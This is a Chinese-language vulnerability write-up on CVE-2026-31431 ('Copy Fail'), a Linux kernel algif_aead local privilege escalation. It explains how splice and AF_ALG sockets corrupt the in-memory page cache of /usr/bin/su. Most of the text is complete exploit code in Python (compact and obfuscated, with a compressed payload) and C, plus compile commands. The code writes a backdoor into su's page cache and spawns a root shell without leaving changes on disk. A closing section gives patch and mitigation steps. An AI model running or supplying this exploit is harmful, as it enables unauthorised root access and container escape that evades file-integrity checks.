Python版本PoC :位于 https://github.com/theori-io/copy-fail-CVE-2026-31431 仓库内
本文根据python版本复现了C语言版本PoC
摘要
CVE-2026-31431(又称"Copy Fail")是 Linux 内核 algif_aead 模块中存在的一个本地提权漏洞。该漏洞源于 2017 年引入的一项性能优化,使得非特权攻击者能够通过巧妙的系统调用链,非法修改内核页缓存中特权文件(如 /usr/bin/su)的内容,进而在内存层面植入后门并获取 root 权限。由于修改仅限于页缓存且不落盘,传统文件完整性检测工具无法察觉。本文将从技术原理、影响范围、复现环境、漏洞利用细节以及修复方案等多个维度展开分析,并给出 Python 与 C 语言两个版本的 PoC 代码,以供安全研究人员在授权环境中验证学习。
1. 漏洞概述
-
CVE 编号:CVE-2026-31431
-
漏洞类型:本地提权(LPE)
-
根本原因 :
crypto/algif_aead.c中在 AEAD 解密操作时错误地将共享内存页面作为临时缓冲区,导致越界写入 4 字节 -
利用前提 :本地非特权用户;系统已加载
algif_aead模块;能够打开并读取目标文件(如/usr/bin/su) -
危害:可修改任意特权二进制文件的内存映像,获取 root 权限;在容器场景中亦可实现容器逃逸
2. 影响范围
该漏洞影响自 2017 年(内核 4.14 起)引入 commit 72548b093ee3 至修复补丁(commit a664bf3d603d)合入之前的所有 Linux 内核版本。几乎所有主流发行版均受影响,包括但不限于 Ubuntu、Debian、RHEL、CentOS、Amazon Linux、SUSE 等。Android 系统由于使用 Linux 内核,同样可能受到波及,具体取决于内核版本和 CONFIG_CRYPTO_USER_API_AEAD 配置。
3. 技术原理深度分析
漏洞的核心是利用了内核密码子系统的所谓"copy fail"------在 AEAD 解密路径中未能正确创建页面副本,而是直接复用了用户通过 splice() 传入的文件页缓存作为内部操作缓冲区。具体攻击链如下:
-
打开目标文件 :以只读方式打开
/usr/bin/su,获取文件描述符。 -
创建 AF_ALG 套接字 :绑定算法类型为
aead,具体算法为authencesn(hmac(sha256),cbc(aes)),并设置密钥和认证标签长度(authsize=0)。 -
拼接页缓存(splice) :通过
splice()将su文件的内核页缓存页直接拼接到一个管道,再将管道拼接到加密操作套接字的输出端。此时加密套接字获得了对原始文件页缓存的引用,而不是创建副本。 -
构造恶意载荷 :向加密套接字发送精心设计的数据包,触发 AEAD 解密操作。由于 2017 年的优化,解密函数会将该共享页面作为临时缓冲区使用,并在写入解码结果时发生越界 4 字节写入。
-
篡改 su 内存映像 :越界写入的 4 字节恰好落在
su文件页缓存的关键位置,修改了程序的执行逻辑。 -
提权 :当用户再次执行
su时,内核直接从已被"污染"的页缓存中加载代码,攻击者由此获得 root 权限的 shell。
整个攻击过程中,磁盘上的 su 文件内容未发生改变,仅驻留在内存页缓存中。因此,基于文件的完整性检查机制将无法检测到异常。
4. 复现环境
以下为作者验证 PoC 所采用的测试环境(你应当在类似的隔离系统上进行实验):
| 组件 | 版本示例 |
|---|---|
| 操作系统 | Ubuntu 24.04 LTS |
| 内核版本 | 6.17.0-1007-aws |
| 权限要求 | 普通用户(非 root) |
| 依赖模块 | algif_aead (默认已加载) |
| 重启后处理 | 测试完毕必须立即重启系统 |
注意:不同内核版本和发行版可能需要对 PoC 中的硬编码值(如 splice 偏移、算法标识等)进行微调。
5. PoC 代码
以下分别提供 Python 和 C 两个版本的漏洞利用代码。两者逻辑等价,均可在满足条件的测试环境中实现本地提权。
重要声明:以下代码仅供授权安全研究使用。任何未经授权的利用行为均属违法。测试结束后,请务必立即重启系统以清除内存中的篡改痕迹。
5.1 Python 版本
python
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c],
[(h, 3, i * 4),
(h, 2, b'\x10' + i * 19),
(h, 4, b'\x08' + i * 3)],
32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try:
u.recv(8 + t)
except:
0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i+4])
i += 4
g.system("su")
代码说明:
-
d()将十六进制字符串转为字节。 -
压缩的 exploit 载荷通过 zlib 解压后循环写入
su文件页缓存的不同偏移。 -
每个 4 字节片段都会触发一次
c()函数,完成一次越界写入。
5.2 C 语言版本
python
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <zlib.h>
#include <linux/if_alg.h>
#include <sys/syscall.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef MSG_MORE
#define MSG_MORE 32768
#endif
/* 可选:直接嵌入解压后的载荷,避免依赖 zlib 运行时解压 */
/* static const unsigned char payload[] = { ... }; */
static int hex2bin(const char *hex, unsigned char *out, size_t out_len) {
size_t len = strlen(hex);
if (len % 2 != 0 || out_len < len/2) return -1;
for (size_t i = 0; i < len; i += 2) {
unsigned int byte;
sscanf(hex + i, "%2x", &byte);
out[i/2] = (unsigned char)byte;
}
return len/2;
}
void corrupt_su(int su_fd, off_t t, const unsigned char c[4]) {
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) { perror("socket"); return; }
struct sockaddr_alg sa = {0};
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "aead");
strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind"); close(alg_fd); return;
}
unsigned char key_material[72] = {0};
hex2bin("0800010000000010", key_material, 8);
setsockopt(alg_fd, SOL_ALG, 1, key_material, sizeof(key_material)); // ALG_SET_KEY
setsockopt(alg_fd, SOL_ALG, 5, NULL, 4); // ALG_SET_AEAD_AUTHSIZE
int op_fd = accept(alg_fd, NULL, NULL);
if (op_fd < 0) { perror("accept"); close(alg_fd); return; }
close(alg_fd);
unsigned char data[8] = { 'A','A','A','A', c[0],c[1],c[2],c[3] };
struct iovec iov = { .iov_base = data, .iov_len = 8 };
/* 构造辅助数据 (cmsg) */
unsigned char ctrl_buf[CMSG_LEN(4) + CMSG_LEN(20) + CMSG_LEN(4)];
struct cmsghdr *cmsg;
cmsg = (struct cmsghdr *)ctrl_buf;
cmsg->cmsg_len = CMSG_LEN(4);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 3; // ALG_SET_OP
memset(CMSG_DATA(cmsg), 0, 4);
cmsg = (struct cmsghdr *)(ctrl_buf + CMSG_LEN(4));
cmsg->cmsg_len = CMSG_LEN(20);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 2; // ALG_SET_IV
unsigned char *iv = CMSG_DATA(cmsg);
iv[0] = 0x10;
memset(iv + 1, 0, 19);
cmsg = (struct cmsghdr *)(ctrl_buf + CMSG_LEN(4) + CMSG_LEN(20));
cmsg->cmsg_len = CMSG_LEN(4);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 4; // ALG_SET_AEAD_ASSOCLEN
unsigned char *assoclen = CMSG_DATA(cmsg);
assoclen[0] = 0x08;
memset(assoclen + 1, 0, 3);
struct msghdr msg = {0};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = ctrl_buf;
msg.msg_controllen = sizeof(ctrl_buf);
if (sendmsg(op_fd, &msg, MSG_MORE) < 0) {
perror("sendmsg"); close(op_fd); return;
}
/* splice 实现页缓存共享 */
int pipefd[2];
if (pipe(pipefd) < 0) { perror("pipe"); close(op_fd); return; }
size_t len = t + 4;
loff_t src_offset = 0;
if (splice(su_fd, &src_offset, pipefd[1], NULL, len, 0) < 0) {
perror("splice 1"); close(pipefd[0]); close(pipefd[1]); close(op_fd); return;
}
close(pipefd[1]);
if (splice(pipefd[0], NULL, op_fd, NULL, len, 0) < 0) {
perror("splice 2"); close(pipefd[0]); close(op_fd); return;
}
close(pipefd[0]);
unsigned char recv_buf[1024];
recv(op_fd, recv_buf, 8 + t, 0);
close(op_fd);
}
int main() {
printf("[*] CVE-2026-31431 Copy Fail exploit (C version)\n");
int su_fd = open("/usr/bin/su", O_RDONLY);
if (su_fd < 0) {
perror("open /usr/bin/su");
return 1;
}
/* 从 zlib 压缩的十六进制字符串中解压 payload */
const char *compressed_hex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3";
size_t hex_len = strlen(compressed_hex);
unsigned char *compressed = malloc(hex_len/2);
hex2bin(compressed_hex, compressed, hex_len/2);
z_stream strm = {0};
inflateInit(&strm);
unsigned char *payload = malloc(1024*1024);
strm.next_in = compressed;
strm.avail_in = hex_len/2;
strm.next_out = payload;
strm.avail_out = 1024*1024;
int ret = inflate(&strm, Z_FINISH);
if (ret != Z_STREAM_END) {
fprintf(stderr, "inflate failed: %d\n", ret);
free(compressed); free(payload); return 1;
}
size_t payload_len = strm.total_out;
inflateEnd(&strm);
free(compressed);
printf("[*] Payload size: %zu bytes\n", payload_len);
for (size_t i = 0; i < payload_len; i += 4) {
corrupt_su(su_fd, i, payload + i);
}
free(payload);
close(su_fd);
printf("[+] Triggering su...\n");
system("su");
return 0;
}
编译与运行:
bash
gcc -o copyfail copyfail.c -lz
./copyfail

如果不想依赖 zlib,可以先用 Python 脚本打印解压后的字节数组,填入 static const unsigned char payload[],并编译时去除 zlib 部分。
6. 修复与缓解建议
6.1 官方修复
-
将内核更新至包含 commit
a664bf3d603d的版本:-
Linux Kernel 6.18.22+
-
Linux Kernel 6.19.12+
-
Linux Kernel 7.0+
-
-
补丁移除了有问题的优化,恢复了 AEAD 操作的"异地"模式,确保不再直接操作用户传入的页缓存。
6.2 临时缓解措施
如果无法立即重启系统并更新内核,可卸载 algif_aead 模块来封堵攻击面:
bash
sudo rmmod algif_aead
若模块被编译进内核(CONFIG_CRYPTO_USER_API_AEAD=y),则卸载无效,必须重启并升级内核。
若要防止模块在重启后自动加载,可创建配置:
bash
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
7. 总结
Copy Fail 漏洞再次证明了内核性能优化与安全性的微妙平衡。一个简单的内存共享优化,在密码子系统的特定上下文中导致了灾难性的提权后果。对于安全从业人员而言,该漏洞的利用链条(splice + AF_ALG)显得极为精巧,同时也提醒我们应当加强对内核加密接口的安全审计。建议所有受影响系统的管理员立刻采取措施,更新内核或实施缓解策略。
参考文献
免责声明:本文仅供安全研究和教育目的。任何未经系统所有者授权的利用行为均属违法,作者不承担任何责任。